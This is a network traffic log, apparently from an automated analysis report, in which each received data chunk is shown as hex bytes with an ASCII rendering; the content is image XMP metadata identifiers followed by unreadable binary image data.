2022-05-13 14:42:09 UTC 9085 IN Data Raw: 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 63 65 66 33 39 39 63 2d 
65 34 39 39 2d 38 64 34 39 2d 62 37 30 33 2d 30 31 33 35 32 61 30 64 61 36 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 64 33 34 36 61 34 34 2d 63 32 34 62 2d 34 39 32 32 2d 38 37 66 65 2d 39 
38 31 34 65 38 33 62 62 62 61 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 64 3
3 65 35 35 64 37 2d 31 36 39 37 2d 34 62 65 36 2d 61 65 63 31 2d 35 30 64 30 61 63 38 66 39 31 30 33 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 64 36 38 36 39 65 63 2d 39 36 63 64 2d 63 39 34 39 
2d 61 32 32 39 2d 64 34 35 34 64 37 34 65 64 36 66 61 3c 2f 72 64 66 3a 
Data Ascii: b</rdf:li> <rdf:li>xmp.did:7cef399c-e499-8d49-b703-01352a0da613</rdf:li> <rdf:li>xmp.did:7d346a44-c24b-
4922-87fe-9814e83bbba9</rdf:li> <rdf:li>xmp.did:7d3e55d7-1697-4be6-aec1-50d0ac8f9103</rdf:li> <rdf:li>xmp.did:7d686
9ec-96cd-c949-a229-d454d74ed6fa</rdf:

2022-05-13 14:42:09 UTC 9101 IN Data Raw: 39 37 35 36 39 38 30 38 36 39 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 38 45 36 45 41 43 33 34 31 35 32 30 36 38 31 31 38 44 42 42 39 35 32 33 34 46 31 37 37 39 30 30 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 45 37 41 43 45 46 44 38 32 37 32 45 30 31 31 41 31 
36 39 39 38 45 45 39 32 36 31 45 44 36 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3
a 38 45 38 36 31 44 46 33 32 37 32 30 36 38 31 31 39 46 42 44 43 32 43 38 41 35 37 37 33 39 36 38 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 45 38 46 32 43 41 31 36 33 43 34 45 30 31 31 38 43 34 33 
43 46 32 35 43 46 43 31 42 31 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: 9756980869EB</rdf:li> <rdf:li>xmp.did:8E6EAC34152068118DBB95234F177900</rdf:li> <rdf:li>xmp.did:8E
7ACEFD8272E011A16998EE9261ED64</rdf:li> <rdf:li>xmp.did:8E861DF3272068119FBDC2C8A5773968</rdf:li> <r
df:li>xmp.did:8E8F2CA163C4E0118C43CF25CFC1B1A1</rdf:li> <

2022-05-13 14:42:09 UTC 9117 IN Data Raw: 78 6d 70 2e 64 69 64 3a 39 42 41 43 45 43 32 37 33 33 32 30 36 38 31 31 41 43 31 37 38 30 46 35 37 45 33 
36 38 37 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 42 42 35 34 37 42 35 
39 33 37 41 45 30 31 31 42 33 30 38 46 32 45 32 43 42 37 41 30 30 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6
c 69 3e 78 6d 70 2e 64 69 64 3a 39 42 43 30 32 44 43 33 41 45 32 30 36 38 31 31 38 32 44 34 43 45 42 42 36 42 31 30 
43 37 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 42 43 35 46 35 35 37 30 
38 32 30 36 38 31 31 38 41 36 44 45 46 38 36 31 30 44 32 36 37 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 39 42 46 33 36 30 33 32 42 33 32 31 36 38 31 
Data Ascii: xmp.did:9BACEC2733206811AC1780F57E36873D</rdf:li> <rdf:li>xmp.did:9BB547B5937AE011B308F2
E2CB7A000B</rdf:li> <rdf:li>xmp.did:9BC02DC3AE20681182D4CEBB6B10C7C6</rdf:li> <rdf:li>xmp.did:9BC5F5
57082068118A6DEF8610D267D9</rdf:li> <rdf:li>xmp.did:9BF36032B321681

2022-05-13 14:42:09 UTC 9125 IN Data Raw: 45 42 30 30 45 36 39 43 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
41 34 30 43 39 31 31 39 34 33 32 30 36 38 31 31 39 35 38 44 44 36 36 39 33 32 32 31 45 36 31 46 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 34 31 41 37 35 46 30 36 44 39 34 44 46 31 31 42 33 44 39 
45 42 44 43 30 37 42 34 32 30 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 3
4 32 34 46 31 37 43 44 41 34 45 45 30 31 31 41 36 36 44 46 33 33 43 46 30 32 33 37 30 37 44 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 34 36 30 42 45 33 45 32 30 32 33 31 31 45 35 38 34 46 30 46 
33 31 36 43 33 42 39 46 35 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
Data Ascii: EB00E69CED</rdf:li> <rdf:li>xmp.did:A40C911943206811958DD6693221E61F</rdf:li> <rdf:li>xmp.did:A41A
75F06D94DF11B3D9EBDC07B4206D</rdf:li> <rdf:li>xmp.did:A424F17CDA4EE011A66DF33CF023707D</rdf:li> <rdf
:li>xmp.did:A460BE3E202311E584F0F316C3B9F509</rdf:li> <rd
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2022-05-13 14:42:09 UTC 9141 IN Data Raw: 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 38 32 46 31 35 43 31 34 32 30 36 38 31 31 38 44 42 42 42 38 38 
39 35 37 39 31 35 34 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 42 35 
42 32 43 37 30 37 32 30 36 38 31 31 38 30 38 33 43 44 46 44 46 39 42 33 35 31 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 7
2 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 42 39 39 38 46 34 32 41 32 30 36 38 31 31 38 38 43 36 42 41 39 39 
44 37 46 42 46 37 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 43 39 31 
38 37 32 31 41 32 30 36 38 31 31 41 33 31 33 39 43 46 39 41 31 42 39 37 30 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 43 43 41 38 35 42 30 30 42 32 
Data Ascii: :li>xmp.did:BC82F15C142068118DBBB8895791540D</rdf:li> <rdf:li>xmp.did:BCB5B2C70720681180
83CDFDF9B3510D</rdf:li> <rdf:li>xmp.did:BCB998F42A20681188C6BA99D7FBF731</rdf:li> <rdf:li>xmp.did:BC
C918721A206811A3139CF9A1B97083</rdf:li> <rdf:li>xmp.did:BCCA85B00B2

2022-05-13 14:42:09 UTC 9157 IN Data Raw: 2e 64 69 64 3a 44 32 43 39 38 46 46 32 30 30 32 31 36 38 31 31 38 46 36 32 41 30 46 44 44 38 46 41 33 37 
46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 45 31 35 41 46 38 38 39 32 
39 45 31 31 31 38 30 46 38 41 35 34 44 41 43 31 35 31 45 45 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 7
8 6d 70 2e 64 69 64 3a 44 32 46 34 42 42 38 30 31 33 32 30 36 38 31 31 38 46 36 32 41 45 41 42 46 36 42 36 30 31 43 
44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 32 46 35 43 34 38 38 36 41 32 30 
36 38 31 31 38 41 36 44 42 34 34 42 46 46 36 31 41 30 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 44 33 32 33 33 33 30 38 33 35 32 30 36 38 31 31 38 32 
Data Ascii: .did:D2C98FF2002168118F62A0FDD8FA37F2</rdf:li> <rdf:li>xmp.did:D2E15AF88929E11180F8A54DA
C151EE2</rdf:li> <rdf:li>xmp.did:D2F4BB80132068118F62AEABF6B601CD</rdf:li> <rdf:li>xmp.did:D2F5C4886
A2068118A6DB44BFF61A0C6</rdf:li> <rdf:li>xmp.did:D32333083520681182

2022-05-13 14:42:09 UTC 9165 IN Data Raw: 43 38 36 34 46 38 39 34 42 31 36 45 30 31 31 39 38 32 46 39 33 30 44 31 38 35 43 33 33 42 42 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 43 41 38 35 32 34 42 31 35 32 30 36 38 31 31 42 31 
41 34 43 42 31 44 43 46 46 37 31 30 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 44 43 42 38 41 46 33 31 33 43 30 45 45 31 31 31 42 36 30 33 43 30 46 46 35 45 41 33 39 46 37 30 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 43 42 45 30 37 46 43 31 45 33 39 36 38 31 31 39 35 46 
45 43 37 38 43 46 45 44 39 38 43 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
44 43 43 35 38 33 35 46 36 35 32 37 36 38 31 31 38 41 36 44 46 36 35 44 
Data Ascii: C864F894B16E011982F930D185C33BB</rdf:li> <rdf:li>xmp.did:DCA8524B15206811B1A4CB1DCFF710A
8</rdf:li> <rdf:li>xmp.did:DCB8AF313C0EE111B603C0FF5EA39F70</rdf:li> <rdf:li>xmp.did:DCBE07FC1E39681
195FEC78CFED98CCD</rdf:li> <rdf:li>xmp.did:DCC5835F652768118A6DF65D

2022-05-13 14:42:09 UTC 9181 IN Data Raw: 35 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 36 35 45 45 32 45 
33 38 42 44 41 45 31 31 31 42 37 43 33 39 31 39 32 32 39 42 31 43 31 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 36 36 32 37 45 35 41 45 30 46 45 45 30 31 31 42 41 30 31 38 31 30 35 42 43 34 
45 43 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 36 39 31 32 32 34 38 4
3 43 32 37 36 38 31 31 38 43 31 34 41 46 39 44 32 37 33 35 41 34 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 46 36 39 41 32 34 45 33 30 32 31 38 45 31 31 31 38 32 46 38 38 37 36 34 43 44 30 44 42 
44 32 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
Data Ascii: 5EE</rdf:li> <rdf:li>xmp.did:F65EE2E38BDAE111B7C3919229B1C122</rdf:li> <rdf:li>xmp.did:F6627E5AE0F
EE011BA018105BC4ECC83</rdf:li> <rdf:li>xmp.did:F6912248CC2768118C14AF9D2735A483</rdf:li> <rdf:li>xmp
.did:F69A24E30218E11182F88764CD0DBD24</rdf:li> <rdf:li>xm

2022-05-13 14:42:09 UTC 9197 IN Data Raw: 3a 46 42 39 39 38 43 42 32 30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 42 38 33 33 34 34 33 33 32 30 36 38 31 
31 39 31 30 39 38 32 36 31 33 44 30 44 38 34 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 6
4 69 64 3a 46 42 43 34 44 32 30 34 30 41 32 30 36 38 31 31 39 31 30 39 43 43 36 34 32 43 34 34 45 43 30 43 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 42 44 33 37 32 36 34 32 30 33 32 31 31 45 35 
39 36 38 33 46 38 35 36 46 34 39 31 43 38 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 46 42 44 37 46 35 45 43 32 30 41 33 45 31 31 31 42 36 45 46 46 31 
Data Ascii: :FB998CB20720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:FBB8334433206811910982613D0D8
437</rdf:li> <rdf:li>xmp.did:FBC4D2040A2068119109CC642C44EC0C</rdf:li> <rdf:li>xmp.did:FBD3726420321
1E59683F856F491C8AE</rdf:li> <rdf:li>xmp.did:FBD7F5EC20A3E111B6EFF1

2022-05-13 14:42:09 UTC 9201 IN Data Raw: 6d 70 2e 64 69 64 3a 46 45 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 37 31 46 42 37 41 38 32 41 35 36 
37 43 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 37 46 31 31 37 34 30 
37 32 30 36 38 31 31 38 37 31 46 46 33 34 41 44 46 38 33 36 38 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 78 6d 70 2e 64 69 64 3a 46 45 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 43 31 34 45 32 46 36 32 31 34 44 39 
32 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 45 37 46 31 31 37 34 30 37 
32 30 36 38 31 31 41 36 44 45 41 37 36 45 31 31 34 43 35 44 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 46 45 37 46 31 31 37 34 30 37 32 30 36 38 31 31 
Data Ascii: mp.did:FE7F117407206811871FB7A82A567CCA</rdf:li> <rdf:li>xmp.did:FE7F117407206811871FF34
ADF83686B</rdf:li> <rdf:li>xmp.did:FE7F1174072068118C14E2F6214D92C3</rdf:li> <rdf:li>xmp.did:FE7F117
407206811A6DEA76E114C5DA9</rdf:li> <rdf:li>xmp.did:FE7F117407206811

2022-05-13 14:42:09 UTC 9217 IN Data Raw: 2e 64 69 64 3a 63 39 37 39 37 63 32 64 2d 30 35 36 62 2d 34 61 39 36 2d 61 33 65 62 2d 35 36 37 66 62 36 
35 34 31 32 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 39 38 64 36 39 32 
37 2d 65 32 38 66 2d 34 64 61 35 2d 61 37 31 38 2d 63 66 37 62 63 66 38 39 31 65 61 38 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 39 39 39 35 66 63 64 2d 39 33 65 32 2d 31 36 34 35 2d 39 64 61 61 
2d 36 38 36 64 37 32 39 32 31 64 65 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
63 39 65 63 61 31 38 39 2d 39 36 66 38 2d 63 33 34 34 2d 62 39 32 63 2d 32 37 30 31 65 64 36 62 66 39 30 62 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 61 
Data Ascii: .did:c9797c2d-056b-4a96-a3eb-567fb6541263</rdf:li> <rdf:li>xmp.did:c98d6927-e28f-4da5-a718-cf7bcf8
91ea8</rdf:li> <rdf:li>xmp.did:c9995fcd-93e2-1645-9daa-686d72921dee</rdf:li> <rdf:li>xmp.did:c9eca189-96f8-c344-
b92c-2701ed6bf90b</rdf:li> <rdf:li>xmp.did:ca

2022-05-13 14:42:09 UTC 9233 IN Data Raw: 70 2e 64 69 64 3a 66 62 64 33 64 62 35 33 2d 63 31 32 64 2d 34 65 61 37 2d 39 35 63 33 2d 66 62 65 38 38 
66 31 38 34 64 34 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 63 34 66 32 39 
65 39 2d 62 38 34 35 2d 34 64 66 63 2d 39 64 63 32 2d 38 63 31 36 37 62 31 36 61 31 66 62 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 63 38 33 37 33 39 35 2d 37 31 30 39 2d 35 38 34 30 2d 39 37 33 
37 2d 63 36 39 38 66 33 62 63 35 31 64 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
3a 66 63 65 63 64 32 36 34 2d 38 64 33 63 2d 34 63 65 37 2d 38 62 65 37 2d 32 62 64 62 63 63 39 64 62 63 65 34 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 
Data Ascii: p.did:fbd3db53-c12d-4ea7-95c3-fbe88f184d4c</rdf:li> <rdf:li>xmp.did:fc4f29e9-b845-4dfc-9dc2-8c167b
16a1fb</rdf:li> <rdf:li>xmp.did:fc837395-7109-5840-9737-c698f3bc51dc</rdf:li> <rdf:li>xmp.did:fcecd264-8d3c-4ce7-8be7-
2bdbcc9dbce4</rdf:li> <rdf:li>xmp.did:f
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2022-05-13 14:42:09 UTC 9240 IN Data Raw: 13 d4 a2 02 44 32 5e 88 09 1b be fd b4 e0 24 4d dd a6 88 14 8d 32 9f 95 38 09 1d bf ba 94 0e 46 99 00 34 40 
a4 41 25 10 12 2e ee fa 20 06 96 5e d3 44 00 85 81 1e 14 40 c8 de 40 05 85 52 44 b6 0e f2 dc 56 89 10 d9 05 8b 13 d9 
5a 10 4d 14 4a 7a d4 b6 52 27 d9 af 8d 66 51 22 ad 8e 82 94 8c 70 14 86 48 ab db 48 09 40 07 51 52 31 ca 35 bd aa 58 
c9 40 a4 33 85 af e3 40 c7 78 d2 01 d7 d2 90 0b d7 ad 21 a1 46 a6 80 10 0a 02 45 0b a5 03 15 57 ba a4 63 8a dc 82 69 
48 40 ed a4 83 6a 43 1b 6b eb 4c 47 52 01 48 b6 94 01 d6 eb 4c 0e b6 ba 50 10 25 bb 28 03 ad 6f 85 02 1a 56 98 1c ba 
d0 03 87 4a 40 3b a5 22 8e ed d2 80 12 fa eb 40 0b 7d 46 b4 80 90 13 52 31 c0 9b 50 33 a9 01 c7 40 45 00 20 f0 a6 07 
0a 00 4d 7b 28 03 89 ed a0 42 50 31 ba f7 d0 02 76 f8 50 23 ad 6d 68 01 
Data Ascii: D2^$M28F4@A%. ^D@@RDVZMJzR'fQ"pHH@QR15X@3@x!FEWciH@jCkLGRHLP%(oVJ@;"
@}FR1P3@E M{(BP1vP#mh

2022-05-13 14:42:09 UTC 9256 IN Data Raw: 34 0c 70 a0 0e 00 5a 81 8a 07 7d 00 29 d3 e1 40 1d 40 1d 7b 50 07 1f 0a 00 42 29 80 d2 09 d6 90 86 eb 4c 42 
00 7b 29 0c 51 a7 4a 40 28 27 e5 4c 62 d2 18 a3 c6 93 10 a4 52 19 c7 41 40 09 d2 98 1d f0 a6 03 81 27 e3 48 43 e9 14 
28 e9 40 1d e3 40 0e b0 22 80 10 8b 1a 00 50 40 ec a0 07 06 d3 5a 40 76 fd 28 01 0b 69 40 09 b8 13 40 0b ba 90 c7 2b 
02 2f d8 29 00 a5 af a7 7d 20 18 5a 98 86 93 7d 68 18 9b e8 80 1b b8 13 7e ca 04 26 ee da 00 6d e9 81 db b5 b5 00 38 3
9 a0 07 87 23 c6 80 1e 8e 3e 54 98 1c 1a d4 80 7a b0 3a d0 03 b7 83 ad 00 28 b1 a0 0e 27 4f 0a 00 65 00 3a 90 08 7a 
d0 07 5b b0 d3 01 c0 69 40 c7 8e ea 42 1c 28 28 78 a0 0e 36 a0 04 a0 05 14 00 e1 48 0e 2b 40 0d 22 d4 c0 6d 30 3a f4 
80 e2 6c 28 03 86 a2 80 10 8e ca 00 42 b4 00 96 fc 68 03 b6 f6 50 02 5b 
Data Ascii: 4pZ})@@{PB)LB{)QJ@('LbRA@'HC(@@"P@Z@v(i@@+/)} Z}h~&m89#>Tz:('Oe:z[i@B((x6H+@"m0:l(BhP[

2022-05-13 14:42:09 UTC 9272 IN Data Raw: 80 72 9a 00 5b 8a 00 5a 06 86 4d 32 c1 1b 4a df 4a 02 4f ca 81 82 70 dc 8f f7 6c 18 f2 ed 62 f7 b8 ee 20 f4 f8 
d2 02 c4 5a d4 c0 70 a0 05 b5 00 2d 00 76 87 ad 00 27 8d 00 2d 00 25 f5 a0 05 06 80 1c 0d 26 02 93 7a 48 05 bd 50 0a 
0d 4b 03 a9 80 ea 90 14 11 40 1d ba f4 00 bb bb 28 03 af 4c 06 d3 01 41 a9 01 f4 01 c6 80 10 9a 00 e0 d4 01 32 9b d2 01 
d4 c0 eb 5e 80 3a d4 80 50 b4 00 fd b7 a6 02 ec a0 04 22 80 39 57 5a 00 25 16 e6 90 06 45 1f 43 52 30 d4 1a 52 02 50 
d6 a0 06 1c 80 34 a0 07 89 81 a6 07 17 14 80 81 dc 50 00 f2 49 54 04 26 4b 76 d0 00 f3 4c 41 d2 98 81 58 6f 3a 75 a6 00 
f3 46 3a b7 5a 68 0a 3c f4 00 dd 45 6d 56 43 01 37 03 5a d0 43 95 af f1 a0 09 40 3d 94 84 2d bb 7f 85 02 14 9e ce da 43 
13 ad 85 00 36 e3 b3 ad 31 96 18 d8 90 3d 99 da e7 ba b3 6c 
Data Ascii: r[ZM2JJOplb Zp-v'-%&zHPK@(LA2^:P"9WZ%ECR0RP4PIT&KvLAXo:uF:Zh<EmVC7ZC@=-C61=l

2022-05-13 14:42:09 UTC 9280 IN Data Raw: 46 c9 d6 11 76 90 df 68 75 4f f5 1f c2 ad 5a 44 d1 e8 20 96 50 6c 45 c0 36 3d 45 ea c9 2b 79 b4 73 83 29 89 
c4 52 81 74 73 a0 0c 35 17 f0 a6 23 3b ec df 7b 41 ee d8 67 df 18 c7 c9 c6 94 c1 24 45 81 25 c7 e6 00 7e 46 fc 86 9a 72 
0f 06 9d a3 36 b5 54 92 44 cb 6d 3b 6a 86 30 2d 8e 94 c0 94 29 34 80 7f a7 bd 1d 59 8a 82 a6 ec 3b 34 eb f2 a4 23 e6 09 
82 fb 7b 39 7d d3 c3 64 9c 8c 58 e6 f4 79 00 80 b3 2b ef 36 9d 97 41 e6 23 cb 5c 16 c3 94 6e 8e fd c8 f7 6c 53 73 d1 73 
7e d9 92 39 20 c7 f4 e6 6c 84 04 7f 53 ab 09 62 b0 56 da dd 45 bc b5 cb b6 d9 94 5a 29 79 3e 5b dc df b8 3c 96 0c 39 79 
f1 4f 90 eb 24 d1 ca 64 0a 90 c6 75 7f 2a d9 bb 3e 9f aa b2 6d dd 8d 34 8a 5e 2f da d8 ff 00 da b2 b9 dc 6e 50 c3 c9 41 
21 48 16 2d cb ea df 46 1b cd 9b 4e db ad 73 d9 aa 26 e4 
Data Ascii: FvhuOZD PlE6=E+ys)Rts5#;{Ag$E%~Fr6TDm;j0-)4Y;4#{9}dXy+6A#\nlSss~9 lSbVEZ)y>[<9yO$du*>m4^
/nPA!H-FNs&

2022-05-13 14:42:09 UTC 9296 IN Data Raw: 66 95 2e 0c da 2d 3d d3 fb 3f cf 7b 5e 29 f3 f8 e8 9a 4e 36 09 fd 02 5c 05 94 6e b0 47 74 e8 03 5f 43 d9 db 5b 
6d d4 d6 48 4c c1 c5 34 b8 25 d3 24 38 f4 d8 ab 07 36 b1 07 5d 2b 81 94 87 e4 e4 42 f8 ad b5 c7 a8 48 6d db 85 88 ae 
74 99 52 46 73 21 c5 55 0a c4 5e d6 37 f2 df b7 e5 4f ab 24 8f 3a 17 c8 0d 3e 41 8e c2 d6 28 a6 ff 00 2b 7d 57 ae aa b2 
59 91 38 93 e7 7a b2 2a 90 a8 2e 77 db 53 dd 5d 72 91 99 5f 00 87 4f 5c 95 23 4b 83 af c2 b6 62 2c be c3 8f 9a 36 93 d2 
91 99 b4 0d d0 2f 8d ff 00 ce a3 b3 43 21 e6 06 06 1a 2b 60 9f 3d ac c0 9b 80 7c 2b 4a 4b e4 90 1e 2b dc 8f 88 af 13 46 
0c 4e 75 1d c7 bc 03 4f 6e 9e c3 4c d4 3f 27 8f 0c 45 b1 88 49 d9 41 2c 4d af e0 2b c9 fa ac f9 35 92 f3 86 e5 1a 65 2f 30 
db 1a 0f ae e1 8d bb 40 f8 d7 26 da 75 c1 a2 37 9e d8 
Data Ascii: f.-=?{^)N6\nGt_C[mHL4%$86]+BHmtRFs!U^7O$:>A(+}WY8z*.wS]r_O\#Kb,6/C!+`=|+JK+FNuOnL?'EIA,M
+5e/0@&u7

2022-05-13 14:42:09 UTC 9312 IN Data Raw: f4 d9 4a 99 18 06 0e 55 a5 8d bd 6c 44 dc 8f 08 27 6e e3 ba c1 8f 6a b2 9a e8 a5 53 52 88 6e 01 32 b8 c1 2c 
1b 22 5f b3 18 8c 31 e5 8c 39 7f 59 81 f3 48 3b 17 6f e6 17 f8 57 06 cb 55 38 f2 5a 47 b4 7b 2b de be c2 f6 27 1e b2 4f c6 
6f e5 b1 b6 04 91 b6 92 ea 7e b2 ad a6 a7 53 66 ae ad 3b a9 19 13 ab 2c 7f 71 7f 77 3d b7 ef fe 21 f8 ee 0b 8b fb 9c 97 
5f 52 6d e3 60 87 69 01 65 f2 9f 35 89 ae f7 b5 59 42 21 28 3c 97 f7 3f d9 23 d9 59 78 79 5c 7e 4c b9 bc a4 d1 95 c9 f5 9b 
58 66 b0 2a 62 91 35 fa 7b e9 5a 12 09 3c b7 33 d7 ca 8a 2e 38 c2 17 2e 37 32 3e 4e ed c1 95 ba 29 5e 83 6f f1 ac 7b d5 
29 24 8b 07 8b 6c 59 8a e4 a8 92 33 72 5f b4 77 56 36 d9 2b 03 48 d4 cb ed 89 a1 e2 9f 9a 85 b1 be d4 30 04 34 c8 66 
3d 9e 58 be af c6 8a d5 b5 20 11 ed 9f 6f 71 c9 c1 4f 
Data Ascii: JUlD'njSRn2,"_19YH;oWU8ZG{+'Oo~Sf;,qw=!_Rm`ie5YB!(<?#Yxy\~LXf*b5{Z<3.8.72>N)^o{)$lY3r_wV
6+H04f=X oqO

2022-05-13 14:42:09 UTC 9320 IN Data Raw: e1 46 ad 6f 0c 1b 28 f8 fc ec 5c dd f8 d9 a4 c6 b2 5c 82 aa 0b 33 13 e5 dd fe 95 ae db 26 b2 89 c1 a0 e0 7f 6e 
38 9c 86 79 1f 23 78 87 ce 50 d8 06 1a 69 ad 73 db db b1 aa d6 8a 5e 77 d9 3c 9f 1d 9c 73 b8 ec 48 f2 70 a5 72 c9 1c 06 
e5 57 b4 15 eb 5e 9e ab f6 ac 37 93 1b 56 18 7f 11 c3 e7 e7 62 bc ff 00 db 5a 28 11 b6 b2 b4 6c 4f 8f 67 4a c3 67 ea f9 2e 
aa 4a ec 89 7d bc 8d 27 19 2a 1c 59 5d 81 00 03 70 dd 81 af d0 1a aa f6 e7 90 85 c1 71 87 ec 73 0c 7f 71 06 4b 33 b1 db 
e9 ee 04 6b fe 75 95 bd 9f 10 6a b5 87 cf c0 af 11 8e d1 88 dd a7 75 da fb 7a a8 3d 81 a9 57 74 b2 9d 20 07 ff 00 88 67 
87 68 b8 c0 91 e2 92 1a 6b b8 0c 47 5f 37 fc ab 4f bd 79 23 eb 66 5a 58 62 e3 39 2b 62 2c d3 48 ac 48 2d 72 a0 8d 7c aa 
3a d6 d5 d9 2a 4c 9d 60 d8 3f 1e de fe 91 79 68 dd 
Data Ascii: Fo(\\3&n8y#xPis^w<sHprW^7VbZ(lOgJg.J}'*Y]pqsqK3kujuz=Wt ghkG_7Oy#fZXb9+b,HH-r|:*L`?yh

2022-05-13 14:42:09 UTC 9336 IN Data Raw: de f9 e4 60 c0 c6 9a 4c 7c 72 19 9c 17 1d 10 5d 98 06 2a 97 f0 dd ad 79 de 8f 31 06 db 5e 0f 26 e7 31 a3 e1 
